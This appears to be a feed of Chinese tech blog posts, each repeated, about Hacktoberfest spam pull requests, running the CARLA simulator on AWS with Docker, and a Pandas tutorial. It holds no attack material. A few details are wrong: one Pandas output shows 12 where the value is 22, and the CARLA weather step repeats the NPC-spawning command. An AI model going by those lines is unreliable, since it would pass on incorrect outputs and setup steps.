十月除了是中秋節以外,還有另外一個盛大的節慶,那就是由 DigitalOcean 所主辦的 Hacktoberfest,這個活動的立意是希望大家能夠投入 open source 的社群,一起讓它變得更好,所以只要你在十月份送了 4 個 PR,就可以得到一件免費的 t-shirt。
這活動其實已經有一陣子了,至少我在四年前就已經參加過,也寫了篇文章稍微介紹一下這個活動:Hacktoberfest:一起踏入 open source 的世界吧!。
當時覺得這活動還滿不錯的,鼓勵新手加入 open source 的領域,讓大家知道其實要貢獻不是一件難事,修一點小 bug 或者是幫忙寫文件都是一種貢獻,不一定要寫 code 其實也可以,都是對 project 的一種幫助。
可是今年卻變了調。
怎麼個變法?我們看下去就知道。
這是 PyCon TW 官網的 repo,然後底下這是 PR 的截圖:
一大堆被標註 invalid 的 PR,我們隨便找一個點進去看:
wow,真的 amazing!
今年的 Hacktoberfest,從 10/1 一開始就出現了一堆這種 spam 的 PR,到底有多少呢?多到你可以在 GitHub 上面搜尋 amazing project,然後就會被結果嚇到:
20000 多筆!接著我們一樣隨便點一個進去看,看看 PR 的內容是什麼:
有許多 GitHub 上面的開源專案都受到了祝福,被稱讚為是 amazing project,而那些貢獻者自己覺得 amazing 還不夠,一定要發一個 PR 幫你改 README,在文件上面加上 amazing project,讓全世界都知道才行。
除了這種 amazing project 式的 PR spam 攻擊之外,還有一些比較有創意的,例如說幫你加上跑馬燈:
或是幫你在 requirements.txt 裡面加空格:
又或者是貼心地幫你改 margin,好達到 pixel perfect:
各個開源專案的 maintainer 都被這一大堆的 spam PR 給惹火了,在 twitter 上面頻頻抱怨。還有人開了一個推特帳號叫做 shitoberfest,專門搜集這些低品質的 PR。
這個活動的立意良好,但是在今年卻變了調,有一些人因為想要拿免費的衣服不擇手段,以為發發幾個毫無意義的 PR 就可以收到獎品,而累的卻是 maintainer 們,要去 close 這些 PR 並且標註為 invalid 或是 spam。
可是這活動也不是第一次辦了,為什麼今年突然變這樣呢?
有些人把矛頭指向了這個影片:How to Earn Free T-Shirt, Swag & Goodies Online!:
說他在影片裡面教大家怎麼樣發 PR 來賺取免費 t-shirt,而我去找了影片中示範的 repo,確實有很多人在練習怎麼樣發 PR:https://github.com/xraymemory/micromtn/pulls
不過本人在影片的底下有出來做澄清,因為影片中講的是 hindi 所以可能很多人聽不懂,但他在影片中有強調你應該要送一個合格的 PR,做出合理的貢獻,他影片的目的只是教大家怎麼發 PR 然後示範給大家看整個流程,沒有要鼓勵大家 spam。
活動的主辦方在台灣時間 10/1 晚上九點馬上發布了公告:Shared commitment to reducing spam with Hacktoberfest,文中有提到規則上面會做一些改動,例如說不想參與的專案可以寫信給他們,在那些專案發的 PR 就不會被列入計算。
對於那些濫竽充數的 PR,第一點是審核期會變長,第二點是如果你都發這種 PR,那可能會被 Hacktoberfest 永 ban,永遠不得參與這個活動。活動的 onboarding flow 也會強制參與者看完發 PR 的規則,確保大家知道只有真的有貢獻的 PR 才算數。
而 GitHub 也發了一則推特,告訴大家在 repo 的設定裡面有個選項可以設置,能夠針對不同的帳號做出限制,例如說最近才創的帳號沒辦法發 PR,或者是只有以前有貢獻過的帳號可以發 PR 之類的:
有了這些措施之後,希望這些 spam 的 PR 可以有效地減少。
要拿 t-shirt 可以,但是請憑本事,那些獎品是給真的對開源社群有貢獻的人拿的,要修改文件可以,但是要修改的有意義,像是上面截圖那些,一看就知道只是為了發 PR 而發 PR。
我也有幫一些專案送過 PR,其實每次送的時候都戰戰兢兢的,深怕造成 maintainer 們的困擾。首先看 CONTRIBUTING.md 是一定要的,裡面有寫清楚想貢獻專案的步驟或是注意事項,接著就在 issue 裡面找到自己能力可以解掉的問題,然後在 local 把專案建起來,開始修 bug 或是加新功能,確認 ok 沒問題,測試也跑過之後才送 PR,然後在 PR 裡面詳細描述解法。
像是底下這兩個就是我前陣子幫 Insomnia 送的 PR:
第一個只是簡單修 UI 上的文字而已,第二個比較複雜一點,是把其中一個 UI 的顯示方式換掉。而且送 PR 的時候要有一個心理準備,就是你的 PR 可能不會即時被 review,這很正常。我上面送的那兩個是因為有公司在維護,所以 review 的速度出乎意料的快(覺得感人),但並不是每個專案都這樣。
像是我之前寫 styled components 那篇送的 PR,就等了兩個月才被 merge。
這是正常的,畢竟 maintainer 們也有自己的事情要忙。
總之呢,還是鼓勵大家去參與 Hacktoberfest 的活動,但請記住必須要真的有貢獻才算數,請確保自己送出的是有品質的 PR,而不是濫竽充數,只為了發 PR 而發 PR。
]]>十月除了是中秋節以外,還有另外一個盛大的節慶,那就是由 DigitalOcean 所主辦的 Hacktoberfest,這個活動的立意是希望大家能夠投入 open source 的社群,一起讓它變得更好,所以只要你在十月份送了 4 個 PR,就可以得到一件免費的 t-shirt。
這活動其實已經有一陣子了,至少我在四年前就已經參加過,也寫了篇文章稍微介紹一下這個活動:Hacktoberfest:一起踏入 open source 的世界吧!。
當時覺得這活動還滿不錯的,鼓勵新手加入 open source 的領域,讓大家知道其實要貢獻不是一件難事,修一點小 bug 或者是幫忙寫文件都是一種貢獻,不一定要寫 code 其實也可以,都是對 project 的一種幫助。
可是今年卻變了調。
怎麼個變法?我們看下去就知道。
這是 PyCon TW 官網的 repo,然後底下這是 PR 的截圖:
一大堆被標註 invalid 的 PR,我們隨便找一個點進去看:
wow,真的 amazing!
今年的 Hacktoberfest,從 10/1 一開始就出現了一堆這種 spam 的 PR,到底有多少呢?多到你可以在 GitHub 上面搜尋 amazing project,然後就會被結果嚇到:
20000 多筆!接著我們一樣隨便點一個進去看,看看 PR 的內容是什麼:
有許多 GitHub 上面的開源專案都受到了祝福,被稱讚為是 amazing project,而那些貢獻者自己覺得 amazing 還不夠,一定要發一個 PR 幫你改 README,在文件上面加上 amazing project,讓全世界都知道才行。
除了這種 amazing project 式的 PR spam 攻擊之外,還有一些比較有創意的,例如說幫你加上跑馬燈:
或是幫你在 requirements.txt 裡面加空格:
又或者是貼心地幫你改 margin,好達到 pixel perfect:
各個開源專案的 maintainer 都被這一大堆的 spam PR 給惹火了,在 twitter 上面頻頻抱怨。還有人開了一個推特帳號叫做 shitoberfest,專門搜集這些低品質的 PR。
這個活動的立意良好,但是在今年卻變了調,有一些人因為想要拿免費的衣服不擇手段,以為發發幾個毫無意義的 PR 就可以收到獎品,而累的卻是 maintainer 們,要去 close 這些 PR 並且標註為 invalid 或是 spam。
可是這活動也不是第一次辦了,為什麼今年突然變這樣呢?
有些人把矛頭指向了這個影片:How to Earn Free T-Shirt, Swag & Goodies Online!:
說他在影片裡面教大家怎麼樣發 PR 來賺取免費 t-shirt,而我去找了影片中示範的 repo,確實有很多人在練習怎麼樣發 PR:https://github.com/xraymemory/micromtn/pulls
不過本人在影片的底下有出來做澄清,因為影片中講的是 hindi 所以可能很多人聽不懂,但他在影片中有強調你應該要送一個合格的 PR,做出合理的貢獻,他影片的目的只是教大家怎麼發 PR 然後示範給大家看整個流程,沒有要鼓勵大家 spam。
活動的主辦方在台灣時間 10/1 晚上九點馬上發布了公告:Shared commitment to reducing spam with Hacktoberfest,文中有提到規則上面會做一些改動,例如說不想參與的專案可以寫信給他們,在那些專案發的 PR 就不會被列入計算。
對於那些濫竽充數的 PR,第一點是審核期會變長,第二點是如果你都發這種 PR,那可能會被 Hacktoberfest 永 ban,永遠不得參與這個活動。活動的 onboarding flow 也會強制參與者看完發 PR 的規則,確保大家知道只有真的有貢獻的 PR 才算數。
而 GitHub 也發了一則推特,告訴大家在 repo 的設定裡面有個選項可以設置,能夠針對不同的帳號做出限制,例如說最近才創的帳號沒辦法發 PR,或者是只有以前有貢獻過的帳號可以發 PR 之類的:
有了這些措施之後,希望這些 spam 的 PR 可以有效地減少。
要拿 t-shirt 可以,但是請憑本事,那些獎品是給真的對開源社群有貢獻的人拿的,要修改文件可以,但是要修改的有意義,像是上面截圖那些,一看就知道只是為了發 PR 而發 PR。
我也有幫一些專案送過 PR,其實每次送的時候都戰戰兢兢的,深怕造成 maintainer 們的困擾。首先看 CONTRIBUTING.md 是一定要的,裡面有寫清楚想貢獻專案的步驟或是注意事項,接著就在 issue 裡面找到自己能力可以解掉的問題,然後在 local 把專案建起來,開始修 bug 或是加新功能,確認 ok 沒問題,測試也跑過之後才送 PR,然後在 PR 裡面詳細描述解法。
像是底下這兩個就是我前陣子幫 Insomnia 送的 PR:
第一個只是簡單修 UI 上的文字而已,第二個比較複雜一點,是把其中一個 UI 的顯示方式換掉。而且送 PR 的時候要有一個心理準備,就是你的 PR 可能不會即時被 review,這很正常。我上面送的那兩個是因為有公司在維護,所以 review 的速度出乎意料的快(覺得感人),但並不是每個專案都這樣。
像是我之前寫 styled components 那篇送的 PR,就等了兩個月才被 merge。
這是正常的,畢竟 maintainer 們也有自己的事情要忙。
總之呢,還是鼓勵大家去參與 Hacktoberfest 的活動,但請記住必須要真的有貢獻才算數,請確保自己送出的是有品質的 PR,而不是濫竽充數,只為了發 PR 而發 PR。
]]>今天想要跟大家介紹一個很酷的自駕車模擬環境 - CARLA,而且可以用 Amazon AWS 來建立環境,所以就算是沒有 Ubuntu 的朋友,也可以很方便地上手。如果你想試試看 Windows 版本也行,CARLA 有 Windows 版本。
CARLA (Car Learning to Act) 是一個為了方便 developer 發展自駕車所開發的模擬器,而且 CARLA 是使用 Unreal Engine 4 開發的,畫面非常的漂亮,可以模擬各種場景、天氣,也有不錯的物理引擎,讓測試環境盡可能逼真。
CARLA 更讚的地方是,他完全開源,如果你有自己的特殊需求,也改得動程式碼的話,你可以直接外帶一份 source code 開始修改。
CARLA 有很多很棒的 feature,講幾個我覺得特別讚的:
簡介完之後,想必大家都躍躍欲試,我是用 AWS 來跑 CARLA,基本的安裝方法可以參考這個網頁:
https://github.com/jbnunn/CARLADesktop
要連上機器,可以參考一下這個頁面:
用 ssh 連上機器的指令是:
ssh -i /path/my-key-pair.pem(local path) my-instance-user-name@my-instance-public-dns-name
如果是 Ubuntu,my-instance-user-name 就是 ubuntu。另外要記得 chmod 400 /path/my-key-pair.pem
不然會因為權限問題無法連上。
我照著上面的步驟安裝完之後,會啟動失敗,原因是找不到某個 symbol file - "/opt/carla-simulator/CarlaUE4/Binaries/Linux/CarlaUE4-Linux-Shipping.sym":
ubuntu@ip-172-31-31-121:/opt/carla-simulator/bin$ SDL_VIDEODRIVER=offscreen ./CarlaUE4.sh
4.22.3-0+++UE4+Release-4.22 517 0
Disabling core dumps.
Signal 11 caught.
Malloc Size=65538 LargeMemoryPoolOffset=65554
CommonUnixCrashHandler: Signal=11
Malloc Size=65535 LargeMemoryPoolOffset=131119
Malloc Size=120416 LargeMemoryPoolOffset=251552
Failed to find symbol file, expected location:
"/opt/carla-simulator/CarlaUE4/Binaries/Linux/CarlaUE4-Linux-Shipping.sym"
Engine crash handling finished; re-raising signal 11 for the default handler. Good bye.
Signal 11 caught.
Malloc Size=65538 LargeMemoryPoolOffset=65554
CommonUnixCrashHandler: Signal=11
Malloc Size=65535 LargeMemoryPoolOffset=131119
Malloc Size=120416 LargeMemoryPoolOffset=251552
Failed to find symbol file, expected location:
"/opt/carla-simulator/CarlaUE4/Binaries/Linux/CarlaUE4-Linux-Shipping.sym"
Engine crash handling finished; re-raising signal 11 for the default handler. Good bye.
ubuntu@ip-172-31-31-121:/opt/carla-simulator/bin$ DISPLAY= ./CarlaUE4.sh -opengl -carla-port=2000
4.22.3-0+++UE4+Release-4.22 517 0
Disabling core dumps.
Signal 11 caught.
Malloc Size=65538 LargeMemoryPoolOffset=65554
CommonUnixCrashHandler: Signal=11
Malloc Size=65535 LargeMemoryPoolOffset=131119
Malloc Size=107920 LargeMemoryPoolOffset=239056
Failed to find symbol file, expected location:
"/opt/carla-simulator/CarlaUE4/Binaries/Linux/CarlaUE4-Linux-Shipping.sym"
Engine crash handling finished; re-raising signal 11 for the default handler. Good bye.
Segmentation fault (core dumped)
不知道為啥出錯,這時候就要來首歌,放鬆一下:
弄了一下還是無法成功,一氣之下直接 用 docker:
安裝 command:docker pull carlasim/carla:0.9.8
執行 command:docker run -p 2000-2002:2000-2002 --runtime=nvidia --gpus all carlasim/carla:0.9.8
測試是否能跑,開一個新分頁,:
cd /opt/carla-simulator/PythonAPI/examples
conda activate carla
python manual_control.py
跑起來應該就會看到模擬的場景囉。
然後就可以用 WASD 來玩你的車車啦!Manual mode 裡面的各種按鍵,可以參考這個 cheat sheet(一定要按按看 Backspace,還可以變出腳踏車,笑死了)。
也許你開一開會覺得孤單,怎麼連在 CARLA 裡面都被隔離,可以用先產生出一些 NPC,多一點假的朋友:
cd /opt/carla-simulator/PythonAPI/examples
conda activate carla
python3 spawn_npc.py
再用下面的 example code 讓天氣變化,看看不同的風景!
cd /opt/carla-simulator/PythonAPI/examples
conda activate carla
python3 spawn_npc.py
關掉 simulator:
docker ps # look up container name
docker stop <container_name>
今天介紹了一個很簡單的玩 CARLA 方法,就算你沒有環境,對 Linux 不熟,用 AWS + docker 就可以跑起模擬環境,非常 user-friendly,之後有機會再介紹一些 CARLA 的進階功能!
今天想要跟大家介紹一個很酷的自駕車模擬環境 - CARLA,而且可以用 Amazon AWS 來建立環境,所以就算是沒有 Ubuntu 的朋友,也可以很方便地上手。如果你想試試看 Windows 版本也行,CARLA 有 Windows 版本。
CARLA (Car Learning to Act) 是一個為了方便 developer 發展自駕車所開發的模擬器,而且 CARLA 是使用 Unreal Engine 4 開發的,畫面非常的漂亮,可以模擬各種場景、天氣,也有不錯的物理引擎,讓測試環境盡可能逼真。
CARLA 更讚的地方是,他完全開源,如果你有自己的特殊需求,也改得動程式碼的話,你可以直接外帶一份 source code 開始修改。
CARLA 有很多很棒的 feature,講幾個我覺得特別讚的:
簡介完之後,想必大家都躍躍欲試,我是用 AWS 來跑 CARLA,基本的安裝方法可以參考這個網頁:
https://github.com/jbnunn/CARLADesktop
要連上機器,可以參考一下這個頁面:
用 ssh 連上機器的指令是:
ssh -i /path/my-key-pair.pem(local path) my-instance-user-name@my-instance-public-dns-name
如果是 Ubuntu,my-instance-user-name 就是 ubuntu。另外要記得 chmod 400 /path/my-key-pair.pem
不然會因為權限問題無法連上。
我照著上面的步驟安裝完之後,會啟動失敗,原因是找不到某個 symbol file - "/opt/carla-simulator/CarlaUE4/Binaries/Linux/CarlaUE4-Linux-Shipping.sym":
ubuntu@ip-172-31-31-121:/opt/carla-simulator/bin$ SDL_VIDEODRIVER=offscreen ./CarlaUE4.sh
4.22.3-0+++UE4+Release-4.22 517 0
Disabling core dumps.
Signal 11 caught.
Malloc Size=65538 LargeMemoryPoolOffset=65554
CommonUnixCrashHandler: Signal=11
Malloc Size=65535 LargeMemoryPoolOffset=131119
Malloc Size=120416 LargeMemoryPoolOffset=251552
Failed to find symbol file, expected location:
"/opt/carla-simulator/CarlaUE4/Binaries/Linux/CarlaUE4-Linux-Shipping.sym"
Engine crash handling finished; re-raising signal 11 for the default handler. Good bye.
Signal 11 caught.
Malloc Size=65538 LargeMemoryPoolOffset=65554
CommonUnixCrashHandler: Signal=11
Malloc Size=65535 LargeMemoryPoolOffset=131119
Malloc Size=120416 LargeMemoryPoolOffset=251552
Failed to find symbol file, expected location:
"/opt/carla-simulator/CarlaUE4/Binaries/Linux/CarlaUE4-Linux-Shipping.sym"
Engine crash handling finished; re-raising signal 11 for the default handler. Good bye.
ubuntu@ip-172-31-31-121:/opt/carla-simulator/bin$ DISPLAY= ./CarlaUE4.sh -opengl -carla-port=2000
4.22.3-0+++UE4+Release-4.22 517 0
Disabling core dumps.
Signal 11 caught.
Malloc Size=65538 LargeMemoryPoolOffset=65554
CommonUnixCrashHandler: Signal=11
Malloc Size=65535 LargeMemoryPoolOffset=131119
Malloc Size=107920 LargeMemoryPoolOffset=239056
Failed to find symbol file, expected location:
"/opt/carla-simulator/CarlaUE4/Binaries/Linux/CarlaUE4-Linux-Shipping.sym"
Engine crash handling finished; re-raising signal 11 for the default handler. Good bye.
Segmentation fault (core dumped)
不知道為啥出錯,這時候就要來首歌,放鬆一下:
弄了一下還是無法成功,一氣之下直接 用 docker:
安裝 command:docker pull carlasim/carla:0.9.8
執行 command:docker run -p 2000-2002:2000-2002 --runtime=nvidia --gpus all carlasim/carla:0.9.8
測試是否能跑,開一個新分頁,:
cd /opt/carla-simulator/PythonAPI/examples
conda activate carla
python manual_control.py
跑起來應該就會看到模擬的場景囉。
然後就可以用 WASD 來玩你的車車啦!Manual mode 裡面的各種按鍵,可以參考這個 cheat sheet(一定要按按看 Backspace,還可以變出腳踏車,笑死了)。
也許你開一開會覺得孤單,怎麼連在 CARLA 裡面都被隔離,可以用先產生出一些 NPC,多一點假的朋友:
cd /opt/carla-simulator/PythonAPI/examples
conda activate carla
python3 spawn_npc.py
再用下面的 example code 讓天氣變化,看看不同的風景!
cd /opt/carla-simulator/PythonAPI/examples
conda activate carla
python3 spawn_npc.py
關掉 simulator:
docker ps # look up container name
docker stop <container_name>
今天介紹了一個很簡單的玩 CARLA 方法,就算你沒有環境,對 Linux 不熟,用 AWS + docker 就可以跑起模擬環境,非常 user-friendly,之後有機會再介紹一些 CARLA 的進階功能!
在 Python 套件生態系中:Numpy、Pandas、Matplotlib、Scipy 以及 scikit-learn 是常見用來進行資料分析和機器學習(machine learning)、資料科學應用的重要套件和模組。之前我們介紹了 Python Numpy 套件,可以方便我們建立矩陣並處理大量的矩陣運算並為未來學習資料科學相關應用打好基礎。
接下來我們要介紹的 Pandas 是一個 Python 用來資料處理的工具,可以讀取各種檔案轉成欄列式資料格式,進而過濾或是進行資料前處理(將資料整理好方便後續資料分析使用)。
Pandas
是 Python 進行資料處理和資料分析一個好用的工具,其主要資料結構有包含:Series
物件和 DataFrame
物件。其中 DataFrame 就類似我們在使用的 Excel 試算表一樣,由欄列所組成的表格結構。由於 Pandas 本身基於 Numpy 所以在使用大量資料運算時效能表現也優於原生的 Python 資料結構,所以是常用將資料載入進行資料分析的好用工具。
在使用前我們需要確認已有安裝 Pandas 套件。若尚未安裝套件,可以使用以下語法在 Anaconda Prompt 或 Terminal 終端機下安裝(預設 Anaconda 已有安裝)
pip install pandas
若使用 Jupyter Notebook 安裝套件,需使用以下語法安裝:
!pip install pandas
接著我們可以使用 VS Code 或是 Jupyter Notebook 打開我們建立的專案工作資料夾,若已安裝過套件就可以直接引用並執行程式碼。
透過 list
當作參數可以將 list 轉換成 Series
物件。
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
# 建立 Series 物件,傳入 list 當作參數
series_1 = pd.Series([2, 1, 7, 3])
print(series_1)
執行結果:
0 2
1 1
2 7
3 3
dtype: int64
建立 Series 索引值(預設為 0
, 1
, 2
...,但可以透過 index
屬性更改):
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
# 建立 Series 物件並設定 index 索引
grades = pd.Series([60, 27, 72, 53], index=['小郭', '小王', '小華', '小明'])
print(grades)
執行結果:
小郭 60
小王 27
小華 72
小明 53
dtype: int64
使用索引取值:
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
# 建立 Series 物件,傳入 list 當作參數
series_1 = pd.Series([22, 34, 41, 3])
print(series_1[0])
print(series_1[1:3])
執行結果:
12
1 34
2 41
dtype: int64
使用自定義索引取值;
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
# 建立 Series 物件並設定 index 索引
grades = pd.Series([60, 27, 72, 53], index=['小郭', '小王', '小華', '小明'])
print(grades['小王'])
執行結果:
27
DataFrame
是 Pandas
最重要的資料結構,基本上我們使用 Pandas 進行資料分析和操作大部分都是在使用 DataFrame
。如同我們所提到的 DataFrame 的結構類似於關聯式資料庫的資料表(table)是由欄(column)和列的索引(index)所組成。
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
# 準備傳入
data = {
'name': ['王小郭', '張小華', '廖丁丁', '丁小光'],
'email': ['min@gmail.com', 'hchang@gmail.com', 'laioding@gmail.com', 'hsulight@gmail.com'],
'grades': [60, 77, 92, 43]
}
# 建立 DataFrame 物件
student_df = pd.DataFrame(data)
print(student_df)
執行結果:
name email grades
0 王小郭 min@gmail.com 60
1 張小華 hchang@gmail.com 77
2 廖丁丁 laioding@gmail.com 92
3 丁小光 hsulight@gmail.com 43
也可以自行定義 index:
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
# 準備傳入 DataFrame 的資料
data = {
'name': ['王小郭', '張小華', '廖丁丁', '丁小光'],
'email': ['min@gmail.com', 'hchang@gmail.com', 'laioding@gmail.com', 'hsulight@gmail.com'],
'grades': [60, 77, 92, 43]
}
# 建立 DataFrame 物件
student_df = pd.DataFrame(data, index=['one', 'second', 'third','fourth'])
print(student_df)
執行結果:
name email grades
one 王小郭 min@gmail.com 60
second 張小華 hchang@gmail.com 77
third 廖丁丁 laioding@gmail.com 92
fourth 丁小光 hsulight@gmail.com 43
透過 DataFrame 函式我們可以很容易一窺整個資料集的統計數據和資料內容。
範例語法:
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
data = {
'name': ['王小郭', '張小華', '廖丁丁', '丁小光'],
'email': ['min@gmail.com', 'hchang@gmail.com', 'laioding@gmail.com', 'hsulight@gmail.com'],
'grades': [60, 77, 92, 43]
}
# 建立 DataFrame 物件
student_df = pd.DataFrame(data)
# 列出欄位資料型別等資訊
print(student_df.info())
# 列出統計資訊
print(student_df.describe())
執行結果:
<class 'pandas.core.frame.DataFrame'>
RangeIndex: 4 entries, 0 to 3
Data columns (total 3 columns):
name 4 non-null object
email 4 non-null object
grades 4 non-null int64
dtypes: int64(1), object(2)
memory usage: 176.0+ bytes
None
grades
count 4.000000
mean 68.000000
std 21.181753
min 43.000000
25% 55.750000
50% 68.500000
75% 80.750000
max 92.000000
範例語法:
# 列出 DataFrame 的 index/columns
print(student_df.index)
print(student_df.columns)
執行結果:
RangeIndex(start=0, stop=4, step=1)
Index(['name', 'email', 'grades'], dtype='object')
範例語法:
# 印出頭尾指定幾筆資料
print(student_df.head(3))
print(student_df.tail(3))
執行結果:
name email grades
0 王小郭 min@gmail.com 60
1 張小華 hchang@gmail.com 77
2 廖丁丁 laioding@gmail.com 92
name email grades
1 張小華 hchang@gmail.com 77
2 廖丁丁 laioding@gmail.com 92
3 丁小光 hsulight@gmail.com 43
由於 DataFrame 是 Pandas 最常使用的資料結構物件,所以我們接下來會主要學習如何操作 DataFrame 資料結構物件。
除了自行創建 DataFrame 物件外,我們也可以使用 read_csv(檔案名稱)
等函式讀取檔案成為 DataFrame。在 Pandas 中我們主要可以使用 read_json(檔案名稱)
、read_csv(檔案名稱)
、read_html(檔案名稱)
來讀取檔案。
Step1. 下載政府開放資料檔案
在政府開放資料(Open Data)網站中我們可以下載許多生活上的開放資料來進行資料分析學習使用。
在這邊我們使用 政府開放資料中的盤後資訊 > 個股日成交資訊 CSV 檔案
資料格式如下:
證券代號,證券名稱,成交股數,成交金額,開盤價,最高價,最低價,收盤價,漲跌價差,成交筆數
"0050","元大台灣50","5,709,735","599,969,574","105.20","105.90","104.35","104.45","-0.85","2,400"
"0051","元大中型100","27,067","1,088,175","40.37","40.38","40.02","40.02","-0.35","22"
"0052","富邦科技","984,453","90,344,848","92.15","92.75","91.25","91.25","-1.00","173"
"0053","元大電子","12,000","606,200","50.60","50.70","50.05","50.05","-0.35","11"
...
將下載的檔案存成 stock_info.csv
檔案。
Step2. 載入資料
使用 Pandas read_csv()
方法讀取 csv 檔案。
import pandas as pd
# 將 csv 檔案轉換成 DataFrame
df = pd.read_csv('stock_info.csv')
Step3. 輸出資料狀況
# 輸入資料概況
df.info()
df.describe()
# 輸出頭尾資料
df.head()
df.tail()
執行結果:
若希望刪除特定欄位,可以使用 drop([欄位], axis=指定欄或列)
方法(axis=1
為欄,axis=0
為列),指定要刪除的欄位。
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
# 準備傳入 DataFrame 的資料
data_1 = {
'name': ['王小郭', '張小華', '廖丁丁', '丁小光'],
'email': ['min@gmail.com', 'hchang@gmail.com', 'laioding@gmail.com', 'hsulight@gmail.com'],
'grades': [60, 77, 92, 43]
}
# 建立 DataFrame 物件
student_df_1 = pd.DataFrame(data_1)
print(student_df_1)
# 使用 drop 指定欄位,記得要給定 axis=1 為欄。若 axis=0 為代表列
student_df_1 = student_df_1.drop(['grades'], axis=1)
print(student_df_1)
執行結果:
name email grades
0 王小郭 min@gmail.com 60
1 張小華 hchang@gmail.com 77
2 廖丁丁 laioding@gmail.com 92
3 丁小光 hsulight@gmail.com 43
name email
0 王小郭 min@gmail.com
1 張小華 hchang@gmail.com
2 廖丁丁 laioding@gmail.com
3 丁小光 hsulight@gmail.com
有時我們建立或讀取進來的資料值中會有 NA/NaN
值(可能是資料遺漏或是沒有值),此時我們可以使用 DataFrame.fillna
來填充 NA/NaN
值,例如改為 0 等。
使用 Numpy 和 Pandas 建立一個有 NA/NaN
值的 DataFrame:
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
import numpy as np
df = pd.DataFrame([[np.nan, 2, np.nan, 0],
[3, 4, np.nan, 1],
[np.nan, np.nan, np.nan, 5],
[np.nan, 3, np.nan, 4]],
columns=list('ABCD'))
執行結果:
df
A B C D
0 NaN 2.0 NaN 0
1 3.0 4.0 NaN 1
2 NaN NaN NaN 5
3 NaN 3.0 NaN 4
將 NA/NaN
df.fillna(0)
執行結果:
A B C D
0 0.0 2.0 0.0 0
1 3.0 4.0 0.0 1
2 0.0 0.0 0.0 5
3 0.0 3.0 0.0 4
若我們希望合併不同的 DataFrame 我們可以使用列合併 concat()
或是欄位合併 merge()
。
以下先建立學習資料:
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
# 準備傳入 DataFrame 的資料
data_1 = {
'name': ['王小郭', '張小華', '廖丁丁', '丁小光'],
'email': ['min@gmail.com', 'hchang@gmail.com', 'laioding@gmail.com', 'hsulight@gmail.com'],
'grades': [60, 77, 92, 43]
}
data_2 = {
'name': ['黃明明', '汪新新', '鮑呱呱', '江組組'],
'email': ['ww@gmail.com', 'cc@gmail.com', 'bb@gmail.com', 'ee@gmail.com'],
'grades': [70, 17, 32, 43]
}
# 建立 DataFrame 物件
student_df_1 = pd.DataFrame(data_1)
student_df_2 = pd.DataFrame(data_2)
print(student_df_1)
print(student_df_2)
執行結果:
name email grades
0 王小郭 min@gmail.com 60
1 張小華 hchang@gmail.com 77
2 廖丁丁 laioding@gmail.com 92
3 丁小光 hsulight@gmail.com 43
name email grades
0 黃明明 ww@gmail.com 70
1 汪新新 cc@gmail.com 17
2 鮑呱呱 bb@gmail.com 32
3 江組組 ee@gmail.com 43
使用 concat
列合併資料
student_fg_3 = pd.concat([student_df_1, student_df_2])
print(student_fg_3)
執行結果:
name email grades
0 王小郭 min@gmail.com 60
1 張小華 hchang@gmail.com 77
2 廖丁丁 laioding@gmail.com 92
3 丁小光 hsulight@gmail.com 43
0 黃明明 ww@gmail.com 70
1 汪新新 cc@gmail.com 17
2 鮑呱呱 bb@gmail.com 32
3 江組組 ee@gmail.com 43
若有 ignore_index
則列的 index 會重新排列:
student_fg_3 = pd.concat([student_df_1, student_df_2], ignore_index=True)
print(student_fg_3)
執行結果:
name email grades
0 王小郭 min@gmail.com 60
1 張小華 hchang@gmail.com 77
2 廖丁丁 laioding@gmail.com 92
3 丁小光 hsulight@gmail.com 43
4 黃明明 ww@gmail.com 70
5 汪新新 cc@gmail.com 17
6 鮑呱呱 bb@gmail.com 32
7 江組組 ee@gmail.com 43
建立學習資料:
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
# 準備傳入 DataFrame 的資料
data_1 = {
'name': ['王小郭', '張小華', '廖丁丁', '丁小光'],
'email': ['min@gmail.com', 'hchang@gmail.com', 'laioding@gmail.com', 'hsulight@gmail.com'],
'grades': [60, 77, 92, 43]
}
data_2 = {
'name': ['王小郭', '張小華', '廖丁丁', '丁小光'],
'age': [19, 20, 32, 43]
}
# 建立 DataFrame 物件
student_df_1 = pd.DataFrame(data_1)
student_df_2 = pd.DataFrame(data_2)
print(student_df_1)
print(student_df_2)
執行結果:
name email grades
0 王小郭 min@gmail.com 60
1 張小華 hchang@gmail.com 77
2 廖丁丁 laioding@gmail.com 92
3 丁小光 hsulight@gmail.com 43
name age
0 王小郭 19
1 張小華 20
2 廖丁丁 32
3 丁小光 43
使用 merge 合併欄位資料
有點類似 SQL JOIN 的感覺,根據相同的欄位合併資料:
student_fg_3 = pd.merge(student_df_1, student_df_2)
print(student_fg_3)
執行結果:
name email grades age
0 王小郭 min@gmail.com 60 19
1 張小華 hchang@gmail.com 77 20
2 廖丁丁 laioding@gmail.com 92 32
3 丁小光 hsulight@gmail.com 43 43
在 Pandas 中同樣可以使用 DataFrame.to_csv(檔案名稱)
、DataFrame.to_json(檔案名稱)
、DataFrame.to_excel(檔案名稱)
和 DataFrame.to_html(檔案名稱)
將資料轉成檔案。
範例語法:
# 引入 pandas 套件,使用別名 pd 可以少打字
import pandas as pd
data = {
'name': ['王小郭', '張小華', '廖丁丁', '丁小光'],
'email': ['min@gmail.com', 'hchang@gmail.com', 'laioding@gmail.com', 'hsulight@gmail.com'],
'grades': [60, 77, 92, 43]
}
# 建立 DataFrame 物件
student_df = pd.DataFrame(data)
# 將 DataFrame 轉成 CSV 檔案
print(student_df.to_csv('student_demo.csv'))
執行結果(儲存成 student_demo.csv
檔案):
,name,email,grades
0,王小郭,min@gmail.com,60
1,張小華,hchang@gmail.com,77
2,廖丁丁,laioding@gmail.com,92
3,丁小光,hsulight@gmail.com,43
這次我們介紹了 Pandas 這個用來操作不同資料來源並將其格式化的資料分析工具,Pandas 可以讀取各種檔案轉成欄列式資料格式 DataFrame,進而過濾或是進行資料前處理。透過 Pandas 整理後的格式化資料,我們可以更方便後續資料分析、資料科學和機器學習專案使用。同時我們也可以使用 Pandas 輸入和輸出不同檔案格式的資料。
